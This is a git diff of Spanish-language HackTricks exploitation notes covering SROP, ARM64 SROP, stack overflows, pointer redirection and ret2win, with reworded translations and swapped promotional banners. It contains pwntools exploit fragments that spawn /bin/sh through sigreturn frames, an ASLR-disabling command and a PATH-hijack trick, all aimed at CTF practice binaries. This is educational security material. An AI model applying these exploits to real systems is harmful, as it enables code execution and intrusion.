* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
-* Ensamblador binario que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario.
+* Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
-* Ensamblador binario que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`).
+* Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
-* 64 bits, sin relro, sin canary, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en el `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell.
+* 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
-* Programa de ensamblador de 64 bits, sin relro, sin canary, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros, llamar a una syscall y luego llamar a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a leer en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que al pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
+* Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode.
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index d237cc652..aeec3bb01 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -1,22 +1,23 @@
# SROP - ARM64
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Ejemplo de Pwntools
-Este ejemplo está creando el binario vulnerable y explotándolo. El binario **lee en la pila** y luego llama a **`sigreturn`**:
+Este ejemplo crea el binario vulnerable y lo explota. El binario **lee en la pila** y luego llama a **`sigreturn`**:
```python
from pwn import *
@@ -44,7 +45,7 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
-## ejemplo de desbordamiento de búfer
+## bof ejemplo
### Código
```c
@@ -86,7 +87,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
-El exploit abusa del desbordamiento de búfer para regresar a la llamada a **`sigreturn`** y preparar la pila para llamar a **`execve`** con un puntero a `/bin/sh`.
+El exploit abusa del bof para regresar a la llamada a **`sigreturn`** y preparar la pila para llamar a **`execve`** con un puntero a `/bin/sh`.
```python
from pwn import *
@@ -115,7 +116,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-## ejemplo de desbordamiento de búfer sin sigreturn
+## bof ejemplo sin sigreturn
### Código
```c
@@ -142,13 +143,13 @@ char* b = gen_stack();
return 0;
}
```
-## Explotar
+## Exploit
-En la sección **`vdso`** es posible encontrar una llamada a **`sigreturn`** en el desplazamiento **`0x7b0`**:
+En la sección **`vdso`** es posible encontrar una llamada a **`sigreturn`** en el offset **`0x7b0`**:
-Por lo tanto, si se filtra, es posible **utilizar esta dirección para acceder a un `sigreturn`** si el binario no lo está cargando:
+Por lo tanto, si se filtra, es posible **usar esta dirección para acceder a un `sigreturn`** si el binario no lo está cargando:
```python
from pwn import *
@@ -177,14 +178,29 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-Para obtener más información sobre vdso, consulta:
+Para más información sobre vdso, consulta:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
-Y para evitar la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información:
+Y para eludir la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Apoya a HackTricks
+
+* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/README.md b/binary-exploitation/stack-overflow/README.md
index efb2931a1..99db59f1b 100644
--- a/binary-exploitation/stack-overflow/README.md
+++ b/binary-exploitation/stack-overflow/README.md
@@ -1,28 +1,29 @@
-# Desbordamiento de pila
+# Desbordamiento de Pila
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipo Rojo de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
-## ¿Qué es un desbordamiento de pila?
+## ¿Qué es un Desbordamiento de Pila?
-Un **desbordamiento de pila** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le asignan para contener. Estos datos adicionales **sobrescribirán el espacio de memoria adyacente**, lo que provocará la corrupción de datos válidos, la interrupción del flujo de control y potencialmente la ejecución de código malicioso. Este problema suele surgir debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada.
+Un **desbordamiento de pila** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Este exceso de datos **sobrescribirá el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan verificación de límites en la entrada.
-El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero de base guardado (EBP/RBP)** para volver a la función anterior se **almacenan en la pila**. Por lo tanto, un atacante podrá sobrescribir esos valores y **controlar el flujo de ejecución del programa**.
+El principal problema de este sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**.
-La vulnerabilidad suele surgir porque una función **copia dentro de la pila más bytes de los asignados para ella**, pudiendo sobrescribir otras partes de la pila.
+La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, pudiendo así sobrescribir otras partes de la pila.
-Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían utilizarse de manera vulnerable si la longitud especificada es mayor que la asignada.
+Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
Por ejemplo, las siguientes funciones podrían ser vulnerables:
```c
@@ -33,15 +34,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
-### Encontrar desplazamientos de desbordamiento de pila
+### Encontrando los offsets de desbordamiento de pila
-La forma más común de encontrar desbordamientos de pila es proporcionar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**.
+La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**.
-Además, una vez que se haya encontrado que hay una vulnerabilidad de desbordamiento de pila, será necesario encontrar el desplazamiento hasta que sea posible **sobrescribir la dirección de retorno**, para esto generalmente se utiliza una **secuencia de De Bruijn**. Que para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_ es una **secuencia cíclica en la que cada subsecuencia posible de longitud _n_** aparece exactamente una vez como una subsecuencia contigua.
+Además, una vez que hayas encontrado que hay una vulnerabilidad de desbordamiento de pila, necesitarás encontrar el offset hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele utilizar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud \_n**\_\*\* aparece exactamente una vez\*\* como una subsecuencia contigua.
-De esta manera, en lugar de tener que averiguar manualmente qué desplazamiento se necesita para controlar el EIP, es posible usar una de estas secuencias como relleno y luego encontrar el desplazamiento de los bytes que terminaron sobrescribiéndola.
+De esta manera, en lugar de necesitar averiguar manualmente qué offset se necesita para controlar el EIP, es posible usar como relleno una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.
-Es posible utilizar **pwntools** para esto:
+Es posible usar **pwntools** para esto:
```python
from pwn import *
@@ -62,20 +63,20 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Explotando Desbordamientos de Pila
-Durante un desbordamiento (suponiendo que el tamaño del desbordamiento es lo suficientemente grande) podrás **sobrescribir** valores de variables locales dentro de la pila hasta alcanzar el **EBP/RBP y EIP/RIP guardados (o incluso más)**.\
-La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, el **flujo de control sea redirigido a donde el usuario lo especifique** en este puntero.
+Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás **sobrescribir** valores de variables locales dentro de la pila hasta alcanzar el **EBP/RBP y EIP/RIP guardados (o incluso más)**.\
+La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, el **flujo de control se redirija a donde el usuario especificó** en este puntero.
-Sin embargo, en otros escenarios tal vez solo **sobrescribir algunos valores de variables en la pila** sea suficiente para la explotación (como en desafíos CTF fáciles).
+Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles).
### Ret2win
-En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca es llamada** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **offset para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable retorne, se llame a la función oculta:
+En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
{% endcontent-ref %}
-### Shellcode en la Pila
+### Shellcode en Pila
En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
@@ -83,17 +84,17 @@ En este escenario, el atacante podría colocar un shellcode en la pila y abusar
[stack-shellcode](stack-shellcode/)
{% endcontent-ref %}
-### Técnicas ROP y Ret2...
+### Técnicas ROP & Ret2...
-Esta técnica es el marco fundamental para evadir la protección principal de la técnica anterior: **No ejecución en la pila (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios abusando de las instrucciones existentes en el binario:
+Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
-## Desbordamientos de Montón
+## Desbordamientos de Heap
-Un desbordamiento no siempre ocurrirá en la pila, también podría ocurrir en el **montón**, por ejemplo:
+Un desbordamiento no siempre va a estar en la pila, también podría estar en el **heap**, por ejemplo:
{% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md)
@@ -101,22 +102,23 @@ Un desbordamiento no siempre ocurrirá en la pila, también podría ocurrir en e
## Tipos de protecciones
-Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
+Hay varias protecciones tratando de prevenir la explotación de vulnerabilidades, revísalas en:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/pointer-redirecting.md b/binary-exploitation/stack-overflow/pointer-redirecting.md
index 0ff8bc44b..b8470b990 100644
--- a/binary-exploitation/stack-overflow/pointer-redirecting.md
+++ b/binary-exploitation/stack-overflow/pointer-redirecting.md
@@ -1,34 +1,35 @@
# Redirección de Punteros
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
-## Punteros de Cadena
+## Punteros de Cadenas
-Si una llamada a función va a utilizar la dirección de una cadena que se encuentra en la pila, es posible abusar del desbordamiento de búfer para **sobrescribir esta dirección** y colocar una **dirección a una cadena diferente** dentro del binario.
+Si una llamada a función va a usar una dirección de una cadena que se encuentra en la pila, es posible abusar del desbordamiento de búfer para **sobrescribir esta dirección** y poner una **dirección a una cadena diferente** dentro del binario.
-Si, por ejemplo, una llamada a la función **`system`** va a **utilizar la dirección de una cadena para ejecutar un comando**, un atacante podría colocar la **dirección de una cadena diferente en la pila**, **`export PATH=.:$PATH`** y crear en el directorio actual un **script con el nombre de la primera letra de la nueva cadena** ya que este será ejecutado por el binario.
+Si, por ejemplo, una llamada a la función **`system`** va a **usar la dirección de una cadena para ejecutar un comando**, un atacante podría colocar la **dirección de una cadena diferente en la pila**, **`export PATH=.:$PATH`** y crear en el directorio actual un **script con el nombre de la primera letra de la nueva cadena** ya que esto será ejecutado por el binario.
Puedes encontrar un **ejemplo** de esto en:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
-* 32 bits, cambia la dirección a la cadena de flags en la pila para que sea impresa por `puts`
+* 32bit, cambiar la dirección a la cadena de flags en la pila para que sea impresa por `puts`
## Punteros de Función
-Igual que el puntero de cadena pero aplicado a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**).
+Lo mismo que el puntero de cadena pero aplicando a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**).
Puedes encontrar un ejemplo en:
@@ -38,16 +39,17 @@ Puedes encontrar un ejemplo en:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/README.md b/binary-exploitation/stack-overflow/ret2win/README.md
index f2a406dc7..de8cda6a5 100644
--- a/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/binary-exploitation/stack-overflow/ret2win/README.md
@@ -1,22 +1,23 @@
# Ret2win
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Información Básica
-Los desafíos de **Ret2win** son una categoría popular en competiciones de **Capture The Flag (CTF)**, especialmente en tareas que involucran **explotación binaria**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica no invocada dentro del binario, a menudo nombrada como `win`, `flag`, etc. Esta función, al ejecutarse, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución hacia la función deseada. Aquí tienes una explicación más detallada con ejemplos:
+Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
### Ejemplo en C
